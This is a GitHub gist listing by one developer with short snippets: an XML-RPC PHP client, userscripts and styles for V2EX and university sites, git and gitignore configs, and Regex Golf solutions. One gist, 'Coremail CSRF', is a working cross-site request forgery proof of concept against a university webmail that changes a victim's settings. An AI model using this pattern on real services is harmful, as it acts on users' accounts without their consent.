Skip to content

Instantly share code, notes, and snippets.

View shuding's full-sized avatar
📝

Shu Ding shuding

📝
View GitHub Profile
@shuding
shuding / xmlrpc_client.php
Last active September 23, 2018 22:04
XMLRPC PHP Client Example
<?php
class XMLRPC_Client {
private $url;
function __construct( $url ) {
$this->url = $url;
}
@shuding
shuding / replace-css.js
Last active August 29, 2015 14:01
Replace stu auth page css to dandu css.
n = document.getElementsByTagName('link').length;
for(i = 0; i < n; ++i)
document.getElementsByTagName('link')[0].remove();
cssChild = document.createElement('link');
cssChild.type = 'text/css';
cssChild.rel = 'stylesheet';
cssChild.href = 'http://stu.fudan.edu.cn/dandu/css/dandu-style.css';
document.getElementsByTagName('head')[0].appendChild(cssChild);
@shuding
shuding / git-config
Created August 3, 2014 01:02
Push to master & gh-pages in one step
Add this below `[remote "origin"]`:
push = +refs/heads/master:refs/heads/gh-pages
push = +refs/heads/master:refs/heads/master
@shuding
shuding / ChannelV.js
Last active August 29, 2015 14:06
ChannelV fix script
<script>
// append this script to the end of <body> tag
(function() {
var playlist = $("#playlist ul li a");
for(var i = 0; i < playlist.length; ++i) {
var id = playlist[i].id.split("_")[1];
var u = "http://stu.fudan.edu.cn/wcfservice/channelvservice2.svc/GetVideoById?key=5d8538932ab14b95ba89a655d0e19ce3&id=" + id;
var load = function(i, u) {
var pl = playlist[i];
pl.style.color = "#EEE";
@shuding
shuding / index.php
Created October 6, 2014 18:45
Coremail CSRF
<?php
$sid = $_GET['sid'];
$postRequest = 'http://mail.fudan.edu.cn/coremail/changefaces.jsp?sid=' . $sid;
$postParams = '&skin=red';
header( 'Location:' . $postRequest . $postParams );
exit;
?>
@shuding
shuding / main.min.css
Created October 11, 2014 19:45
V2EX flat theme CSS (also responsive)
body{position:absolute;width:100%}.sl,.mll{border-radius:0}.select2-container .select2-choice{background-image:none}#Top{background-image:none;box-shadow:0 0 20px rgba(0,0,0,0.2);position:fixed;width:100%}#Wrapper{background-image:none;padding-top:44px}.no,.tag:link,.tag:visited,.box,a.node:link,a.node:visited,a.node:active,a.count_blue:visited,a.count_green:visited,a.count_orange:visited,a.count_livid:visited,a.count_livid:link,a.count_livid:active,a.tab_current:link,a.tab_current:visited,a.tab_current:active,a.tab:link,a.tab:visited,a.tab:active,img.avatar,.vote:link,.vote:visited,.vote{border-radius:0;-webkit-border-radius:0}a:hover{color:#111213;text-decoration:none}.topic_buttons{background:#EEE;border-radius:0}.item_node,.super.button,a.balance_area:link,a.balance_area:visited,.balance_area{background:0;background-image:0;border-radius:0;-webkit-border-radius:0}div.node:hover{background-color:#efefef;box-shadow:0 1px 2px rgba(0,0,0,0.1) inset}@media screen and (max-width:1000px){#Bottom .content{width:1
@shuding
shuding / JetBrains.gitignore
Created October 16, 2014 02:12
JetBrains.gitignore
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm
/*.iml
## Directory-based project format:
.idea/
# if you remove the above rule, at least ignore the following:
# User-specific stuff:
# .idea/workspace.xml
@shuding
shuding / V2Inbox.js
Created October 31, 2014 14:22
V2EX inbox invite code
// ==UserScript==
// @name Refresh and search for 'inbox'
// @namespace http://github.com/quietshu
// @version 0.1
// @description 简易检测 V2EX 有没有人发新的邀请码 = =
// @match http://www.v2ex.com/
// @copyright 2014, Shu Ding
// ==/UserScript==
var regexp = /inbox|Inbox/g;
@shuding
shuding / V2EXreader.js
Created October 31, 2014 14:45
V2EX (background) reader
// ==UserScript==
// @name V2EX reader
// @namespace http://github.com/quietshu
// @version 0.1
// @description enter something useful
// @match http://www.v2ex.com/
// @copyright 2012+, You
// ==/UserScript==
;(function() {
@shuding
shuding / regex_golf_sol.md
Created November 23, 2014 00:13
Solutions to Regex Golf (https://regex.alf.nu/)

Regex Golf.

Normal levels

做了一遍,然后搜集了目前的最优答案:

  1. Warmup (207): foo
  2. Anchors (208): k$
  3. Ranges (202): ^[a-f]+$
  4. Backrefs (201): (...).*\1